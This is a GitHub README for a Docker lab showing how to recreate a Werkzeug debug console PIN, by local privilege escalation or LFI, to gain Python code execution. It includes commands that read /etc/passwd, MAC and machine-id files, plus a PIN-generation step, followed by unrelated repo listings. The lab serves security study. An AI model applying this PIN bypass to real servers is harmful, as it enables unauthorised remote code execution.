Werkzeug has a debug console that requires a pin. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector.

Overview

Werkzeug Debug Console Pin Bypass

Werkzeug has a debug console that requires a pin by default. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector. The debug console will lock after 10 invalid attempts which requires the server to be restarted for another 10 guesses.

The Werkzeug documentation warns users to never enable the debug console in production with or without a pin (https://werkzeug.palletsprojects.com/en/2.0.x/debug/#debugger-pin).

This repo provides a sample application to play with the /console endpoint on a dummy Flask application.

How to use

  1. Clone this repo
$ git clone https://wdahlenburg/werkzeug-debug-console-bypass
  1. Build the Docker image
$ docker build -t werkzeug-debug-console:latest .
  1. Run the Docker image
$ docker run -p 7777:7777 werkzeug-debug-console:latest
 * Running on all addresses.
   WARNING: This is a development server. Do not use it in a production deployment.
 * Running on http://172.17.0.4:7777/ (Press CTRL+C to quit)
 * Restarting with stat
User: werkzeug-user
Module: flask.app
Module Name: Flask
App Location: /usr/local/lib/python3.9/site-packages/flask/app.py
Mac Address: 2485377892356
Werkzeug Machine ID: b'ea1fc30b6f4a173cea015d229c6b55b69d0ff00819670374d7a02397bc236523a57e9bab0c6e6167470ac65b66075388'

 * Debugger is active!
 * Debugger PIN: 118-831-072

Your server should be running on port 7777 at this point. The PIN will be displayed in the Docker logs, which is what you will be trying to recreate.

Exploiting as a local privilege escalation

A scenario that could come up is that the Flask server is running under a certain user with privileges X. You are a local user on the system with privileges Y. You have the ability to access the same information that Werkzeug uses to generate the PIN for the user running the server. Successfully unlocking the console provides OS command injection as the user running the server.

At any point if you are unsure, you can reference the Docker logs to see the expected values for each parameter.

  1. Open up a new terminal and log into Docker as some other user
$ docker ps                                            
CONTAINER ID   IMAGE                               COMMAND                  CREATED          STATUS          PORTS                                                                                                                                                                                          NAMES
9d0ff0081967   werkzeug-debug-console:latest       "python3 /app/server…"   16 minutes ago   Up 16 minutes   0.0.0.0:7777->7777/tcp, :::7777->7777/tcp

$ docker exec -u 0 -it 9d0ff0081967 /bin/bash
[email protected]:/app#
  1. Take a look at https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py for references
  2. Identify the user running the server on port 7777
$ ps auxww | grep server
werkzeu+     1  0.0  0.1  34992 28072 ?        Ss   15:50   0:00 python3 /app/server.py
werkzeu+    10  0.0  0.1  35248 23780 ?        S    15:50   0:00 python3 /app/server.py
werkzeu+    11  0.0  0.1  35072 28276 ?        S    15:50   0:00 /usr/local/bin/python3 /app/server.py
werkzeu+    12  0.7  0.1 109316 25500 ?        Sl   15:50   0:08 /usr/local/bin/python3 /app/server.py

It's likely the werkzeu user is running the server, but the name is truncated.

$ cat /etc/passwd
...
werkzeug-user:x:1000:1000::/home/werkzeug-user:/bin/sh
  1. Copy the werkzeug-user into the username field of the werkzeug-pin-bypass.py file.

  2. Find the correct path to Flask

$ find / -name "app.py" 2>/dev/null
/usr/local/lib/python3.9/site-packages/flask/app.py
  1. Update the werkzeug-pin-bypass.py file with this information. The location will be different if alternate Python versions or OS's are used.
  2. Grab the Mac Address of the interface the server is hosting on:
$  python3
Python 3.9.7 (default, Sep  3 2021, 02:02:37) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import uuid
>>> str(uuid.getnode())
'2485377892356'

OR

$ cat /sys/class/net/eth0/address 
02:42:ac:11:00:04
[email protected]:/app# python3
Python 3.9.7 (default, Sep  3 2021, 02:02:37) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> "".join("02:42:ac:11:00:04".split(":"))
'0242ac110004'
>>> print(0x0242ac110004)
2485377892356
  1. Update the Mac address in the werkzeug-pin-bypass.py file.
  2. In python3 run the following script to generate the machine id
machine_id = b""
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
    try:
        with open(filename, "rb") as f:
            value = f.readline().strip()
    except OSError:
        continue

    if value:
        machine_id += value
        break
try:
    with open("/proc/self/cgroup", "rb") as f:
        machine_id += f.readline().strip().rpartition(b"/")[2]
except OSError:
    pass

print(machine_id)
  1. Update the machine id in the werkzeug-pin-bypass.py file.
  2. Go ahead and run the werkzeug-pin-bypass.py on the attacking machine
$  python3 ./werkzeug-pin-bypass.py
Pin: 118-831-072

If all goes well you should have the same Pin as the one displayed in the Docker logs. If not, recheck your steps. If you are on an old version of Werkzeug, try changing the hashing algorithm to md5 instead of sha1.

The pin can be accepted at http://127.0.0.1/console. Once the system is unlocked you can run any python commands you want.

Credit

The original research was done here: https://www.daehee.com/werkzeug-console-pin-exploit/

The LFI vector is listed here: https://github.com/grav3m1nd-byte/werkzeug-pin

Owner
Wyatt Dahlenburg
Security Researcher and Developer
Wyatt Dahlenburg
A parallel branch-and-bound engine for Python.

pybnb A parallel branch-and-bound engine for Python. This software is copyright (c) by Gabriel A. Hackebeil (gabe.hacke

Gabriel Hackebeil 52 Nov 12, 2022
OpenSea NFT API App using Python and Streamlit

opensea-nft-api-tutorial OpenSea NFT API App using Python and Streamlit Tutorial Video Walkthrough https://www.youtube.com/watch?v=49SupvcFC1M Instruc

64 Oct 28, 2022
A small project of two newbies, who wanted to learn something about Python language programming, via fun way.

HaveFun A small project of two newbies, who wanted to learn something about Python language programming, via fun way. What's this project about? Well.

Patryk Sobczak 2 Nov 24, 2021
Request ID propagation for ASGI apps

ASGI Correlation ID middleware Middleware for loading and receiving correlation IDs from request HTTP headers, and making them available in applicatio

snok 170 Jan 02, 2023
CupScript is a simple programing language made with python

CupScript CupScript is a simple programming language made with python It includes some basic functions, variables, loops, and some other built in func

FUSEN 23 Dec 29, 2022
Simple Assembler with python

Assembler with python converts assembly source code to machine code Requirements Python 3 🐍 Usage python main.py [source] [output] [source] : Path t

Amir mohammad 1 Dec 24, 2021
Extend the maya channel box with searchability and colour

channel-box-plus will add search-ability over its attributes, and it will colour user defined attributes, making them easier to distinguish.

Robert Joosten 12 Jun 08, 2022
dynamically create __slots__ objects with less code

slots_factory Factory functions and decorators for creating slot objects Slots are a python construct that allows users to create an object that doesn

Michael Green 2 Sep 07, 2021
Building an Investment Portfolio for Day Trade with Python

Montando um Portfólio de Investimentos para Day Trade com Python Instruções: Para reproduzir o projeto no Google Colab, faça o download do repositório

Paula Campigotto 9 Oct 26, 2021
Compile Binary Ninja's HLIL IR to LLVM, for purposes of compiling it back to a binary again.

Compiles BinaryNinja's HLIL to LLVM Approach Sweep binary for global variables, create them Sweep binary for (used?) external functions, declare those

Kyle Martin 31 Nov 10, 2022
Script to calculate the italian fiscal code of a person.

fiscal_code Hi! This is my first public repository, so please be kind if it is not well formatted or it contains errors. I started learning Python abo

FrancescoDiMuro 1 Nov 20, 2021
Add your recently blog and douban states in your GitHub Profile

Add your recently blog and douban states in your GitHub Profile

Bingjie Yan 4 Dec 12, 2022
💡 Fully automatic light management based on conditions like motion, illuminance, humidity, and other clever features

Fully automatic light management based on motion as AppDaemon app. 🕓 multiple daytimes to define different scenes for morning, noon, ... 💡 supports

Ben 105 Dec 23, 2022
The tool helps to find hidden parameters that can be vulnerable or can reveal interesting functionality that other hunters miss.

The tool helps to find hidden parameters that can be vulnerable or can reveal interesting functionality that other hunters miss. Greater accuracy is achieved thanks to the line-by-line comparison of

197 Nov 14, 2022
FBChecker Account using python , package requests and web old facebook

fbcek FBChecker Account using python , package requests and web old facebook using python 3.x apt upgrade -y apt update -y pkg install bash -y pkg ins

XnuxersXploitXen 5 Dec 24, 2022
DownTime-Score is a Small project aimed to Monitor the performance and the availabillity of a variety of the Vital and Critical Moroccan Web Portals

DownTime-Score DownTime-Score is a Small project aimed to Monitor the performance and the availabillity of a variety of the Vital and Critical Morocca

adnane-tebbaa 5 Apr 30, 2022
The earliest beta version of pytgcalls on Linux x86_64 and ARM64! Use in production at your own risk!

Public beta test. Use in production at your own risk! tgcalls - a python binding for tgcalls (c++ lib by Telegram); pytgcalls - library connecting pyt

Il'ya 21 Jan 13, 2022
Learn the basics of Python. These tutorials are for Python beginners. so even if you have no prior knowledge of Python, you won’t face any difficulty understanding these tutorials.

01_Python_Introduction Introduction 👋 Python is a modern, robust, high level programming language. It is very easy to pick up even if you are complet

Milaan Parmar / Милан пармар / _米兰 帕尔马 245 Dec 30, 2022
Spyware baseado em Python para Windows que registra como atividades da janela em primeiro plano, entradas do teclado.

Spyware baseado em Python para Windows que registra como atividades da janela em primeiro plano, entradas do teclado. Além disso, é capaz de fazer capturas de tela e executar comandos do shell em seg

Tavares 1 Oct 29, 2021
Service for working with open data of the State Duma of the Russian Federation

Сервис для работы с открытыми данными Госдумы РФ Исходные данные из API Госдумы РФ извлекаются с помощью Apache Nifi и приземляются в хранилище Clickh

Aleksandr Sergeenko 2 Feb 14, 2022